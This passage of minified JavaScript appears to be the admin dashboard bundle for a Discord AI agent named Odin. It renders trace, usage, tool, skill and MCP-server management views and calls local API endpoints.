- Time - {{ formatTs(singleTrace.timestamp) }} -
-
- Status - error - handoff - ok -
-
- - -
-
- Iterations - {{ singleTrace.iteration_count || 0 }} -
-
- Tools Used - {{ (singleTrace.tools_used || []).length }} -
-
- Duration - {{ formatDuration(singleTrace.total_duration_ms) }} -
-
- Tokens - {{ formatTokens(singleTrace.total_input_tokens + singleTrace.total_output_tokens) }} -
-
- - -
-
User Message
-
{{ singleTrace.user_content }}
-
- - -
-
Tool Chain
-
-
- -
-
- #{{ it.iteration + 1 }} -
- - {{ tc.name || 'unknown' }} - - no tool calls -
-
-
- {{ formatDuration(it.duration_ms) }} - {{ it.input_tokens + it.output_tokens }} tok - -
-
- - -
- -
-
-
-
-
{{ Math.round((it.duration_ms / singleTrace.total_duration_ms) * 100) }}% of total
-
- - -
-
LLM Text
-
{{ it.llm_text }}
-
- - -
-
- Call: {{ tc.name }} -
-
{{ formatJSON(tc.input) }}
-
- - -
-
- Result: {{ tr.name || 'result ' + tri }} -
-
{{ truncateBlock(formatJSON(tr.output || tr.result || tr.error || tr), 5000) }}
-
-
-
-
-
- - -
-
Final Response
-
{{ truncateBlock(singleTrace.final_response, 5000) }}
-
- - - - -
- Tools: - {{ t }} -
-
-
- - -
-
-
-
- -
- - No traces found - Traces appear when the bot processes messages with tool calls -
-
-
- Showing {{ entries.length }} traces - ({{ totalSaved }} total saved) -
- - -
- - - - - - - - - - - - - - - -
TimestampUserMessageToolsDurationTokensStatus
-
- -
-
-
`,setup(){const e=f([]),t=f([]),s=f(!0),a=f(null),n=f(null),i=f(null),l=f(""),o=f(""),r=f(0),c=f({}),d=f({channel_id:"",user_id:"",tool_name:"",errors_only:!1,limit:50});function u(T){if(!T)return"—";try{const L=new Date(T);return isNaN(L.getTime())?T:L.toLocaleString([],{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit"})}catch{return T}}function p(T){return!T&&T!==0?"—":T<1e3?T+"ms":(T/1e3).toFixed(1)+"s"}function m(T){return!T&&T!==0?"—":T>=1e3?(T/1e3).toFixed(1)+"k":String(T)}function h(T){if(!T)return"";if(typeof T=="string")return T;try{return JSON.stringify(T,null,2)}catch{return String(T)}}function y(T){n.value===T?n.value=null:(n.value=T,c.value={})}function k(T,L){const E=T+"-"+L;c.value={...c.value,[E]:!c.value[E]}}function A(T,L){return!!c.value[T+"-"+L]}function g(){d.value={channel_id:"",user_id:"",tool_name:"",errors_only:!1,limit:50},o.value="",l.value="",i.value=null,w()}async function b(){try{const T=await z.get("/api/trajectories");e.value=T.files||[],r.value=T.count||0}catch{}}let x=0;async function w(){const T=++x;s.value=!0,a.value=null,n.value=null,i.value=null,c.value={};try{if(o.value){const L=await z.get(`/api/trajectories/${encodeURIComponent(o.value)}?limit=${d.value.limit}`);if(T!==x)return;let E=L.entries||[];d.value.tool_name&&(E=E.filter(F=>(F.tools_used||[]).includes(d.value.tool_name))),d.value.errors_only&&(E=E.filter(F=>F.is_error)),d.value.channel_id&&(E=E.filter(F=>F.channel_id===d.value.channel_id)),d.value.user_id&&(E=E.filter(F=>F.user_id===d.value.user_id)),t.value=E}else{const L=new URLSearchParams;d.value.channel_id&&L.set("channel_id",d.value.channel_id),d.value.user_id&&L.set("user_id",d.value.user_id),d.value.tool_name&&L.set("tool_name",d.value.tool_name),d.value.errors_only&&L.set("errors_only","true"),L.set("limit",String(d.value.limit));const E=L.toString(),F=await z.get(`/api/trajectories/search/query?${E}`);if(T!==x)return;t.value=F.results||[]}}catch(L){if(T!==x)return;a.value=L.message}T===x&&(s.value=!1)}async function _(){if(!l.value.trim())return;const T=++x;s.value=!0,a.value=null,c.value={};try{const L=await z.get(`/api/trajectories/message/${encodeURIComponent(l.value.trim())}`);if(T!==x)return;i.value=L.entry||null,i.value||(a.value="No trace found for this message ID")}catch(L){if(T!==x)return;L.status===404?(i.value=null,a.value="No trace found for message ID: "+l.value):a.value=L.message}T===x&&(s.value=!1)}return st(async()=>{await b(),await w()}),{files:e,entries:t,loading:s,error:a,expandedIdx:n,singleTrace:i,messageIdQuery:l,selectedFile:o,totalSaved:r,filters:d,expandedIterations:c,formatTs:u,formatDuration:p,formatTokens:m,formatJSON:h,truncateBlock:Mg,toggleExpand:y,toggleIteration:k,isIterationExpanded:A,clearFilters:g,fetchFiles:b,fetchTraces:w,lookupMessage:_}}};function V1(e){const t=Number(e);return!Number.isFinite(t)||t<=0?"—":t<1e3?`${Math.round(t)} ms`:t<6e4?`${(t/1e3).toFixed(1)} s`:t<36e5?`${(t/6e4).toFixed(1)} min`:`${(t/36e5).toFixed(1)} h`}function G1(e){return e?`${e.approximate?"~":""}${Wu(e.total||0)}`:"0"}const W1={template:` -
-
-
-

Usage & Activity

-

Persistent statistics from settled trajectories and the read-only audit index.

-
-
- -
-
- -
-
-
-
-
- - - -
-
-

Last refresh failed: {{ error }} — showing the last successful response.

-
-
-

Historical indexing is still running. Recent data appears first; all-time totals are incomplete.

-

{{ data.coverage.sources_complete }} / {{ data.coverage.sources_indexed }} sources complete · {{ data.coverage.malformed_rows_skipped }} malformed rows skipped

-
-
- Statistics are stale. Last successful receipt was more than 30 seconds ago. -
- -
-

How much work happened

-
-
{{ fmtNum(work.settled_turns) }}
Settled turns
-
{{ fmtNum(work.accepted_generations) }}
Accepted generations
-
{{ tokenLabel(work.input_tokens) }}
Input processed
-
{{ tokenLabel(work.output_tokens) }}
Output generated
-
{{ fmtDuration(work.recorded_processing_ms) }}
Recorded processing
-
-
- Input provenance: {{ fmtNum(work.input_tokens.provider_reported) }} provider-reported · - {{ fmtNum(work.input_tokens.estimated) }} current estimates · - {{ fmtNum(work.input_tokens.legacy_estimated) }} legacy estimates · - {{ work.input_tokens.provider_reported_percent }}% reported coverage. - Recorded processing is summed operation time, not wall-clock uptime. A dash means timing was not recorded; unavailable samples are excluded. -
-
- -
- No settled usage history in this range. -
- -
-

Activity over time

-
- -
-

Daily settled work units by recorded surface. Hover a bar for its value.

-
- -
-
-

What kind of work

-
- - - - -
SurfaceOutcomeTurnsProcessing
{{ row.surface }}{{ row.outcome }}{{ fmtNum(row.count) }}{{ fmtDuration(row.duration_ms) }}
No activity yet
-
- -
-

What served it

-
- - - - -
Provider / modelEffortGenerationsInputOutputProcessing
{{ row.provider }}
{{ row.model }}
{{ row.effort || 'n/a' }}{{ fmtNum(row.generations) }}{{ fmtNum(row.input_tokens) }}{{ fmtNum(row.output_tokens) }}{{ fmtDuration(row.duration_ms) }}
No generations yet
-
-
- -
-

What tools Odin used

-
- - - - -
ToolExecutionsErrorsError rateAverage time
{{ row.tool_name }}{{ fmtNum(row.executions) }}{{ fmtNum(row.errors) }}{{ row.error_rate_percent }}%{{ fmtDuration(row.avg_duration_ms) }}
No audited tool executions yet
-
- -
-

Automation

-
{{ row.state }}: {{ fmtNum(row.count) }} · recoveries {{ fmtNum(row.recovery_attempts) }}No agent outcomes yet
-
- -
-

Provider-reported actual cost

-

{{ formatActualCost(data.cost?.actual_spend_usd) }}

-

{{ data.cost?.note || 'No provider-reported cost in this range.' }}

-
-
- {{ row.model }} via {{ row.upstream_provider }} · {{ row.cached_percent }}% cached · {{ fmtNum(row.samples) }} measured generations -
-
-
-
-
- `,setup(){const e=f(!0),t=f(null),s=f(!1),a=f({available:!0,coverage:{},work:{},activity:[],serving:[],tools:[],automation:[]}),n=f("7d"),i=f(0),l=f(Date.now());let o=null,r=null,c=!1,d=0;const u=[{key:"24h",label:"24 hours"},{key:"7d",label:"7 days"},{key:"30d",label:"30 days"},{key:"all",label:"All time"}],p=B(()=>a.value.work||{}),m=T=>T==null?"Not reported":`$${Number(T).toFixed(6)}`,h=B(()=>Math.max(1,...(a.value.activity_over_time||[]).map(T=>Number(T.count||0)))),y=B(()=>({minWidth:`max(100%, ${(a.value.activity_over_time||[]).length*5}px)`})),k=T=>({height:`${Math.max(4,Math.round(Number(T||0)/h.value*100))}%`}),A=B(()=>s.value&&l.value-i.value>3e4);async function g(){const T=++d,L=n.value;try{const E=await z.get(`/api/usage?range=${encodeURIComponent(L)}`);if(T!==d||L!==n.value)return;a.value=E,i.value=Date.now(),l.value=i.value,s.value=!0,t.value=null}catch(E){T===d&&(t.value=E.message)}finally{T===d&&(e.value=!1)}}function b(T){n.value=T,e.value=!s.value,g()}function x(){e.value=!0,g()}function w(){c||(c=!0,g(),o=setInterval(g,15e3),r=setInterval(()=>{l.value=Date.now()},1e3))}function _(){c&&(c=!1,d+=1,o&&clearInterval(o),r&&clearInterval(r),o=null,r=null)}return st(w),cs(w),es(_),wt(_),{data:a,work:p,loading:e,error:t,hasData:s,range:n,ranges:u,isStale:A,fmtNum:Wu,fmtDuration:V1,tokenLabel:G1,formatActualCost:m,activityTrackStyle:y,activityBar:k,selectRange:b,retry:x}}},Bg=[{id:"audit",label:"Audit",component:U1},{id:"sessions",label:"Sessions",component:H1},{id:"traces",label:"Traces",component:q1},{id:"usage",label:"Usage & Activity",component:W1}],K1={components:{TabbedPage:uc},setup(){return{tabs:Bg}},template:''},Kc=[{id:"system",label:"System & Commands",icon:"terminal",match:e=>/^(run_command|run_script|read_file|apply_patch|list_directory|search_files|manage_process|file_|post_file)/.test(e)},{id:"devops",label:"DevOps & Infrastructure",icon:"server",match:e=>/^(http_probe)/.test(e)},{id:"agents",label:"Agents & Orchestration",icon:"bot",match:e=>/^(spawn_agent|send_to_agent|wait_for_agents|get_agent_results|kill_agent|list_agents)/.test(e)},{id:"workflow",label:"Workflows & Tasks",icon:"workflow",match:e=>/^(delegate_task|cancel_task|list_tasks|schedule_|start_loop|stop_loop|list_loops|delete_schedule|list_schedules|update_schedule|parse_time)/.test(e)},{id:"network",label:"Network & Web",icon:"globe",match:e=>/^(web_|browser_|search_web|fetch_url|http_)/.test(e)},{id:"knowledge",label:"Knowledge & Search",icon:"book",match:e=>/^(search_knowledge|ingest_|knowledge_|search_history|search_audit|bulk_ingest|delete_knowledge|list_knowledge)/.test(e)},{id:"discord",label:"Discord & Admin",icon:"message",match:e=>/^(send_|add_reaction|create_poll|purge_|discord_|embed_|read_channel|set_permission)/.test(e)},{id:"skills",label:"Skills",icon:"puzzle",match:e=>/^(create_skill|edit_skill|delete_skill|enable_skill|disable_skill|install_skill|export_skill|skill_status|invoke_skill|list_skills)/.test(e)},{id:"memory",label:"Memory & State",icon:"brain",match:e=>/^(memory_manage|list_manage)/.test(e)},{id:"ai",label:"AI & Generation",icon:"sparkles",match:e=>/^(generate_|analyze_|vision_)/.test(e)},{id:"integrations",label:"Integrations",icon:"link",match:e=>/^(grafana_|mcp_)/.test(e)},{id:"other",label:"Other Tools",icon:"wrench",match:()=>!0}],J1={template:` -
-
-
-

Tools

-

Disabling a tool removes it from future model requests and causes stored jobs that call it to fail. Already-running calls are not cancelled.

-
-
- - -
-
- - -
-
-
-
-
-
-
-
-
-
-
- - - - -
- -
-
-
{{ tools.length }}
-
Total Tools
-
-
-
{{ coreCount }}
-
Core Tools
-
-
-
{{ skillCount }}
-
Skill Tools
-
-
-
{{ totalUsage.toLocaleString() }}
-
Total Executions
-
-
- - -
- - -
- - -
-
-
- - {{ group.label }} - {{ group.tools.length }} -
-
-
-
- {{ t.name }} - {{ stateBadge(t) }} -
-
{{ truncate(t.description, 80) }}
- - -
-
{{ t.description }}
-
Core capability. Disabling it may cause automation, recovery, or stored workflows that depend on it to fail.
-
-
Parameters
-
- {{ pname }} - {{ prop.type }} - required -
-
-
-
-
-
-
- - -
-
-
- - {{ group.label }} - {{ group.tools.length }} -
-
- - - - - - - - - - - - -
NameDescriptionUsesEnabled for model
-
-
-
- - -
- - No tools match "{{ search }}" - Try a different search term -
-
-
`,setup(){const e=f([]),t=f(!0),s=f(null),a=f(""),n=f({}),i=f({}),l=f("cards"),o=f(null),r=f(null),c=f(!1),d=f(new Set),u={disabled:"Disabled by operator",unavailable:"Unavailable — required backend is not configured",global_disabled:"Global tools disabled"};function p(E){return E.source!=="builtin"?"":u[E.state]||""}function m(E,F){const O=E&&Array.isArray(E.tools)?E.tools:null;if(c.value=!!O,r.value=O?!!E.global_enabled:null,!O){e.value=F.map(te=>({...te,source:"unknown",enabled:void 0,state:null}));return}const I=new Set(O.map(te=>te.name)),H=F.filter(te=>!I.has(te.name)).map(te=>({...te,source:te.name.startsWith("mcp_")?"mcp":"skill",enabled:!0,state:null}));e.value=[...O.map(te=>({...te,source:"builtin"})),...H]}async function h(E,F){if(d.value.has(E.name))return;const O=!!F.target.checked,I=new Set(d.value);I.add(E.name),d.value=I;try{const H=await z.post(`/api/tools/builtins/${encodeURIComponent(E.name)}/enabled`,{enabled:O});m(H,e.value),s.value=null;try{const te=await z.get("/api/tools");m(H,te)}catch(te){console.warn("Built-in toggle committed; visible catalog refresh failed",te)}}catch(H){F.target.checked=!!E.enabled,s.value=H.message||`Failed to toggle ${E.name}`}finally{const H=new Set(d.value);H.delete(E.name),d.value=H}}const y=B(()=>e.value.filter(E=>E.source==="builtin"&&E.is_core).length),k=B(()=>e.value.filter(E=>E.source==="skill").length),A=B(()=>Object.values(n.value).reduce((E,F)=>E+F,0));function g(E){for(const F of Kc)if(F.id!=="other"&&F.match(E))return F.id;return"other"}const b=B(()=>{let E=e.value;if(a.value){const F=a.value.toLowerCase();E=E.filter(O=>O.name.toLowerCase().includes(F)||(O.description||"").toLowerCase().includes(F))}return o.value&&(E=E.filter(F=>g(F.name)===o.value)),E}),x=B(()=>{const E=new Set;for(const F of e.value)E.add(g(F.name));return Kc.filter(F=>E.has(F.id))}),w=B(()=>{const E=b.value,F={};for(const I of E){const H=g(I.name);F[H]||(F[H]=[]),F[H].push(I)}const O=[];for(const I of Kc)F[I.id]&&F[I.id].length>0&&O.push({label:I.label,icon:I.icon,tools:F[I.id].sort((H,te)=>H.name.localeCompare(te.name))});return O});function _(E){i.value={...i.value,[E]:!i.value[E]}}async function T(){t.value=!0,s.value=null;try{const[E,F,O]=await Promise.all([z.get("/api/tools"),z.get("/api/tools/stats").catch(()=>({})),z.get("/api/tools/builtins").catch(()=>null)]);m(O,E),n.value=F||{}}catch(E){s.value=E.message}t.value=!1}function L(){T()}return st(()=>{T()}),{tools:e,loading:t,error:s,search:a,stats:n,expanded:i,viewMode:l,activeCategory:o,globalEnabled:r,inventoryAvailable:c,togglePending:d,coreCount:y,skillCount:k,totalUsage:A,filteredTools:b,groupedTools:w,usedCategories:x,stateBadge:p,applyInventory:m,toggleBuiltinTool:h,truncate:Gu,toggleExpand:_,refresh:L}}};function Z1(e){if(!e)return"";let t=e.replace(/&/g,"&").replace(//g,">");t=t.replace(/("""[\s\S]*?"""|'''[\s\S]*?'''|"(?:[^"\\]|\\.)*"|'(?:[^'\\]|\\.)*')/g,'$1'),t=t.replace(/(#[^\n]*)/g,'$1');const s="\\b(def|class|return|if|elif|else|for|while|import|from|as|try|except|finally|raise|with|async|await|yield|pass|break|continue|and|or|not|in|is|None|True|False|self|lambda)\\b";t=t.replace(new RegExp(s,"g"),'$1');const a="\\b(print|len|range|str|int|float|list|dict|set|tuple|type|isinstance|hasattr|getattr|setattr|super|property|staticmethod|classmethod|enumerate|zip|map|filter|sorted|reversed|any|all|min|max|sum|abs|round|open|format)\\b";return t=t.replace(new RegExp(a,"g"),'$1'),t=t.replace(/(@\w+)/g,'$1'),t=t.replace(/\b(\d+\.?\d*)\b/g,'$1'),t}function Q1(e){if(!e)return"1";const t=e.split(` -`).length;return Array.from({length:t},(s,a)=>a+1).join(` -`)}const Y1={template:` -
-
-

Skills

-
- - -
-
- - -
-
-
{{ skills.length }}
-
Total Skills
-
-
-
{{ enabledCount }}
-
Active Skills
-
-
-
{{ totalExecutions.toLocaleString() }}
-
Total Runs
-
-
-
{{ totalLines.toLocaleString() }}
-
Lines of Code
-
-
- - -
- -
- - -
-
-
-
-
-
-
-
-
- - - - - -
- - No skills loaded - Click "New Skill" to create a custom tool -
- - -
-
-
- -
-
- - {{ s.name }} - {{ s.execution_count.toLocaleString() }} runs -
-
- - - - -
-
- - -
-
{{ s.description || 'No description' }}
-
- Loaded: {{ formatTs(s.loaded_at) }} - {{ countLines(s.code) }} lines -
-
- - -
-
- {{ testResults[s.name].is_error ? 'Test failed' : 'Test passed' }} -
-
{{ truncate(testResults[s.name].result, 500) }}
-
- - -
-
- {{ s.name }}.py - -
-
-
{{ getLineNumbers(s.code) }}
-
-
-
-
-
- - -
- - No skills match "{{ search }}" - Try a different search term -
-
- - -
-
-

- {{ editMode === 'create' ? 'Create Skill' : 'Edit Skill: ' + editName }} -

- -
- -
- -
Lowercase, alphanumeric + underscores, starts with letter
-
- -
- Code -
-
{{ editorLineNums }}
- -
-
- {{ editLineCount }} lines - {{ editCode.length.toLocaleString() }} chars -
-
- - -
- {{ editValidation.valid ? 'Valid Python structure' : editValidation.message }} -
- -
-
Error
-
{{ editError }}
-
-
{{ editSuccess }}
- -
- - -
-
- - - -
`,setup(){const e=f([]),t=f(!0),s=f(null),a=f({}),n=f({}),i=f(null),l=f(""),o=f(null),r=f(!1),c=f("create"),d=f(""),u=f(""),p=f(null),m=f(null),h=f(!1),y=f(null),k=f(null),A=f(!1),g=B(()=>e.value.length),b=B(()=>e.value.reduce((V,be)=>V+(be.execution_count||0),0)),x=B(()=>e.value.reduce((V,be)=>V+F(be.code),0)),w=B(()=>{if(!l.value)return e.value;const V=l.value.toLowerCase();return e.value.filter(be=>be.name.toLowerCase().includes(V)||(be.description||"").toLowerCase().includes(V))}),_=B(()=>u.value?u.value.split(` -`).length:0),T=B(()=>{const V=Math.max(_.value,1);return Array.from({length:V},(be,Oe)=>Oe+1).join(` -`)}),L=B(()=>{const V=u.value.trim();return V?V.includes("SKILL_DEFINITION")?V.includes("async def execute")?{valid:!0,message:""}:{valid:!1,message:"Missing async def execute function"}:{valid:!1,message:"Missing SKILL_DEFINITION dict"}:null});function E(V){return Z1(V)}function F(V){return V?V.split(` -`).length:0}function O(V){return Q1(V)}function I(V){a.value={...a.value,[V]:!a.value[V]}}async function H(V){try{await navigator.clipboard.writeText(V);const be=e.value.find(Oe=>Oe.code===V);be&&(o.value=be.name,setTimeout(()=>{o.value=null},2e3))}catch{}}function te(V){if(V.key==="Tab"){V.preventDefault();const be=V.target,Oe=be.selectionStart,le=be.selectionEnd;u.value=u.value.substring(0,Oe)+" "+u.value.substring(le),Ut(()=>{be.selectionStart=be.selectionEnd=Oe+4})}}function ee(V){const be=V.target.previousElementSibling;be&&(be.scrollTop=V.target.scrollTop)}async function N(){t.value=!0,s.value=null;try{e.value=await z.get("/api/skills")}catch(V){s.value=V.message}t.value=!1}async function M(V){i.value=V,delete n.value[V],n.value={...n.value};try{const be=await z.post(`/api/skills/${encodeURIComponent(V)}/test`);n.value={...n.value,[V]:be}}catch(be){n.value={...n.value,[V]:{result:be.message,is_error:!0}}}i.value=null}function $(){r.value=!0,c.value="create",d.value="",u.value="",p.value=null,m.value=null}function re(V){r.value=!0,c.value="edit",d.value=V.name,u.value=V.code||"",p.value=null,m.value=null}function ce(){r.value=!1,p.value=null,m.value=null}async function Z(){p.value=null,m.value=null;const V=d.value.trim(),be=u.value.trim();if(!V){p.value="Name is required";return}if(!be){p.value="Code is required";return}h.value=!0;try{c.value==="create"?(await z.post("/api/skills",{name:V,code:be}),m.value="Skill created successfully"):(await z.put(`/api/skills/${encodeURIComponent(V)}`,{code:be}),m.value="Skill updated successfully"),await N(),setTimeout(()=>{r.value=!1},800)}catch(Oe){p.value=Oe.message}h.value=!1}function Q(V){k.value=V}async function ae(){if(k.value){A.value=!0;try{await z.del(`/api/skills/${encodeURIComponent(k.value)}`),await N()}catch(V){Se.error(`Failed to delete skill: ${V.message||"unknown error"}`)}A.value=!1,k.value=null}}return st(()=>{N()}),{skills:e,loading:t,error:s,showCode:a,testResults:n,testing:i,search:l,copied:o,editing:r,editMode:c,editName:d,editCode:u,editError:p,editSuccess:m,saving:h,editorRef:y,deleteTarget:k,deleting:A,enabledCount:g,totalExecutions:b,totalLines:x,displayedSkills:w,editLineCount:_,editorLineNums:T,editValidation:L,highlight:E,truncate:Gu,formatTs:di,countLines:F,getLineNumbers:O,toggleCode:I,copyCode:H,handleEditorKey:te,syncScroll:ee,fetchSkills:N,testSkill:M,showCreate:$,editSkill:re,cancelEdit:ce,saveSkill:Z,confirmDelete:Q,doDelete:ae}}};class ia extends Error{constructor(t,s=""){super(t),this.name="MCPFormError",this.field=s}}const X1=/^[A-Za-z_][A-Za-z0-9_]*$/;function Kf(e){return String(e||"").split(/\r?\n/).map(t=>t.trim()).filter(Boolean)}function Jf(e,t,s){const a={},n=[...new Set((t||[]).map(l=>String(l)))],i=new Set(n);for(const l of e||[]){const o=String((l==null?void 0:l.key)||"").trim(),r=String((l==null?void 0:l.value)??"");if(!(!o&&!r)){if(!o)throw new ia(`${s} key is required when a value is entered.`,"authentication");if(/[\r\n\0]/.test(o))throw new ia(`${s} keys cannot contain line breaks or NUL bytes.`,"authentication");if(Object.hasOwn(a,o))throw new ia(`${s} key “${o}” appears more than once.`,"authentication");if(i.has(o))throw new ia(`${s} key “${o}” cannot be replaced and removed in the same save.`,"authentication");a[o]=r}}return{set:a,remove:n}}function eC(e){try{const t=new URL(e);return(t.protocol==="http:"||t.protocol==="https:")&&!!t.hostname}catch{return!1}}function tC(e,{mode:t="add",originalTransport:s=""}={}){const a=t==="add",n=String(e.name||"").trim();if(!n)throw new ia("Server name is required.","name");if(n.length>128||!X1.test(n))throw new ia("Use at most 128 letters, digits, or underscores, with no leading digit.","name");const i=e.transport==="http"?"http":"stdio",l=!a&&!!s&&i!==s,o={enabled:!!e.enabled,transport:i};if(a&&(o.name=n),i==="stdio"){const d=String(e.command||"").trim();if((a||l)&&!d)throw new ia("An executable path is required for a new stdio connection.","command");if(d&&(o.command=d),(a||e.replaceArgs)&&(o.args=Kf(e.argsText)),a||e.replaceCwd){const u=String(e.cwd||"").trim();if(u&&(!u.startsWith("/")||u.includes("\0")))throw new ia("Working directory must be an absolute path.","cwd");o.cwd=u}}else{const d=String(e.url||"").trim();if((a||l)&&!d)throw new ia("An HTTP endpoint is required for this connection.","url");if(d&&!eC(d))throw new ia("Endpoint must be a valid http:// or https:// URL.","url");d&&(o.url=d)}if(a||e.replaceTimeout){const d=Number(e.timeoutSeconds);if(!Number.isInteger(d)||d<1||d>3600)throw new ia("Timeout must be a whole number from 1 to 3600 seconds.","timeout");o.timeout_seconds=d}(a||e.replaceAllowlist)&&(o.tool_allowlist=Kf(e.allowlistText));const r=Jf(e.headerRows,e.headersRemove,"Header"),c=Jf(e.envRows,e.envRemove,"Environment variable");return Object.keys(r.set).length&&(o.headers_set=r.set),r.remove.length&&(o.headers_remove=r.remove),Object.keys(c.set).length&&(o.env_set=c.set),c.remove.length&&(o.env_remove=c.remove),o}function sC(e,t){return t?e.transport!==t.transport||!!e.enabled!=!!t.enabled?!0:Object.keys(e).some(s=>!["enabled","transport"].includes(s)):!1}function aC(e){const t=String(e||"").toLowerCase();return["disabled","connecting","connected","stale","error","blocked"].includes(t)?t:"error"}function nC(e,t){const s=String(t||"").trim().toLowerCase();return s?[e==null?void 0:e.original_name,e==null?void 0:e.published_name,e==null?void 0:e.description,e==null?void 0:e.exclusion_reason].filter(Boolean).some(a=>String(a).toLowerCase().includes(s)):!0}const iC=Object.freeze([{id:"identity",label:"Identity"},{id:"transport",label:"Transport"},{id:"authentication",label:"Authentication"},{id:"limits",label:"Limits"}]);function lC(e,{root:t=document,reducedMotion:s=typeof window<"u"&&(a=>(a=window.matchMedia)==null?void 0:a.call(window,"(prefers-reduced-motion: reduce)").matches)()}={}){var l;const n=t.querySelector(".mcp-editor-groups"),i=n==null?void 0:n.querySelector(`#mcp-form-${e}`);return i?(i.scrollIntoView({behavior:s?"auto":"smooth",block:"start",inline:"nearest"}),(l=i.querySelector("[data-mcp-form-heading]"))==null||l.focus({preventScroll:!0}),!0):!1}const oC=1e4,rC=Object.freeze({disabled:"Disabled",connecting:"Connecting",connected:"Connected",stale:"Stale",error:"Error",blocked:"Blocked"});function Jc(){return{name:"",enabled:!0,transport:"stdio",command:"",argsText:"",cwd:"",url:"",timeoutSeconds:120,allowlistText:"",replaceArgs:!1,replaceCwd:!1,replaceTimeout:!1,replaceAllowlist:!1,headerRows:[],envRows:[],headersRemove:[],envRemove:[]}}function cC(e){if(e==null)return"Never";const t=Math.max(0,Number(e)||0);return t<60?`${Math.round(t)}s ago`:t<3600?`${Math.round(t/60)}m ago`:t<86400?`${Math.round(t/3600)}h ago`:`${Math.round(t/86400)}d ago`}const dC={template:` -
-
-
-
Model Context Protocol
-

MCP Servers

-

Connect tool providers over stdio or Streamable HTTP. Only current, connected, validated tools enter the model catalog.

-
-
- - -
-
- -
-
-
-
- - - - - - -
- `,setup(){const e=f(null),t=f(!1),s=f(!1),a=f(!1),n=f(""),i=f({max_published_tools_per_server:"",max_published_tools_global:""}),l=f(new Set),o=B(()=>Object.keys(i.value).every(se=>{var Re;return Number.isInteger((Re=e.value)==null?void 0:Re[se])})),r=f(""),c=f(new Set),d=f(new Set),u=f({}),p=f({}),m=f({}),h=f(new Set),y=f(!1),k=f("add"),A=f(""),g=f(null),b=f(Jc()),x=f(""),w=f(!1);let _=null,T=0,L=!1,E=!1;const F=iC,O=B(()=>{var se;return((se=e.value)==null?void 0:se.servers)||[]}),I=B(()=>{var se;return!!((se=e.value)!=null&&se.enabled)}),H=B(()=>{var se,Re,Le,Te;return{serverCount:((se=e.value)==null?void 0:se.server_count)||0,enabledCount:((Re=e.value)==null?void 0:Re.enabled_server_count)||0,connectedCount:((Le=e.value)==null?void 0:Le.connected_count)||0,toolCount:((Te=e.value)==null?void 0:Te.published_tool_count)||0}}),te=B(()=>{var se;return((se=g.value)==null?void 0:se.header_keys)||[]}),ee=B(()=>{var se;return((se=g.value)==null?void 0:se.env_keys)||[]}),N=B(()=>{var se;return k.value==="edit"&&((se=g.value)==null?void 0:se.transport)==="http"}),M=B(()=>k.value==="add"||!N.value),$=B(()=>N.value?"Replace endpoint URL":"Endpoint URL"),re=B(()=>N.value?"Leave blank to keep the saved endpoint":"https://mcp.example.com/mcp");function ce(){Z(),_=window.setInterval(()=>Q({quiet:!0}),oC)}function Z(){_&&window.clearInterval(_),_=null}async function Q({quiet:se=!1}={}){if(a.value)return;const Re=++T;se||(t.value=!0);try{const Le=await z.get("/api/mcp/status");if(Re!==T||!L)return;e.value=Le;for(const W of Object.keys(i.value))!l.value.has(W)&&Number.isInteger(Le[W])&&(i.value[W]=String(Le[W]));r.value="";const Te=new Set((Le.servers||[]).map(W=>W.name));d.value=new Set([...d.value].filter(W=>Te.has(W)))}catch(Le){Re===T&&L&&(r.value=Le.message||"Failed to load MCP status")}finally{Re===T&&(t.value=!1)}}function ae(se){return s.value||c.value.has(se)}function V(se,Re){const Le=new Set(c.value);Re?Le.add(se):Le.delete(se),c.value=Le}function be(se){return aC(se.state)}function Oe(se){if(be(se)==="disabled"){if(!se.enabled)return"Disabled — server switch off";if(!I.value)return"Disabled — global MCP is off"}return rC[be(se)]}function le(se){return se.transport==="http"?"Streamable HTTP":"stdio"}function oe(se){return se.negotiated_version?`${se.era?`${String(se.era).charAt(0).toUpperCase()}${String(se.era).slice(1)}`:"Protocol"} · ${se.negotiated_version}`:"Not negotiated"}function ve(se){return se.discovered_count?`${se.published_count||0} published · ${se.excluded_count||0} excluded`:"No tools discovered"}const j=f(new Set);async function Y(se,Re){if(j.value.has(se.name))return;const Le=!!Re.target.checked,Te=new Set(j.value);Te.add(se.name),j.value=Te;try{const W=await z.post(`/api/mcp/servers/${encodeURIComponent(se.name)}/enabled`,{enabled:Le});W&&Array.isArray(W.servers)?e.value=W:await Q({quiet:!0})}catch(W){Re.target.checked=!!se.enabled,Se.error(W.message||`Failed to toggle ${se.name}`)}finally{const W=new Set(j.value);W.delete(se.name),j.value=W}}function xe(se,Re){var Te;i.value[se]=Re;const Le=new Set(l.value);Re===String((Te=e.value)==null?void 0:Te[se])?Le.delete(se):Le.add(se),l.value=Le,n.value=""}async function S(){if(s.value||!o.value||!l.value.size)return;const se={};for(const Re of l.value){const Le=Number(i.value[Re]),Te=Re==="max_published_tools_per_server"?128:256;if(!Number.isInteger(Le)||Le<1||Le>Te){n.value=`Enter a whole number between 1 and ${Te}.`;return}se[Re]=Le}a.value=!0,s.value=!0,n.value="",++T,t.value=!1;try{const Re=await z.post("/api/mcp/limits",se);e.value=Re;for(const Le of Object.keys(i.value))Number.isInteger(Re[Le])&&(i.value[Le]=String(Re[Le]));l.value=new Set,Se.success("MCP limits saved. Applied at the next publication or tools refresh.")}catch(Re){n.value=Re.message||"Failed to save MCP publication limits"}finally{a.value=!1,s.value=!1,await Q({quiet:!0})}}async function P(se){if(se!==I.value&&!(!se&&!await is({title:"Disable MCP tool publication",message:"Disable MCP globally? All MCP tools will be unpublished immediately and active transports will be stopped. Saved server configuration remains.",confirmLabel:"Disable MCP",danger:!0}))){s.value=!0;try{await z.post("/api/mcp/enabled",{enabled:se}),Se.success(se?"MCP enabled":"MCP disabled"),await Q({quiet:!0})}catch(Re){Se.error(Re.message||"Failed to update MCP state"),await Q({quiet:!0})}finally{s.value=!1}}}async function G(se){V(se.name,!0);try{await z.post(`/api/mcp/servers/${encodeURIComponent(se.name)}/reconnect`,{}),Se.success(`Reconnected ${se.name}`)}catch(Re){Se.error(Re.message||`Failed to reconnect ${se.name}`)}finally{V(se.name,!1),await Q({quiet:!0})}}async function he(se){V(se.name,!0);try{await z.post(`/api/mcp/servers/${encodeURIComponent(se.name)}/refresh-tools`,{}),Se.success(`Refreshed tools from ${se.name}`),await we(se.name,!0)}catch(Re){Se.error(Re.message||`Failed to refresh ${se.name}`)}finally{V(se.name,!1),await Q({quiet:!0})}}async function fe(se){if(await 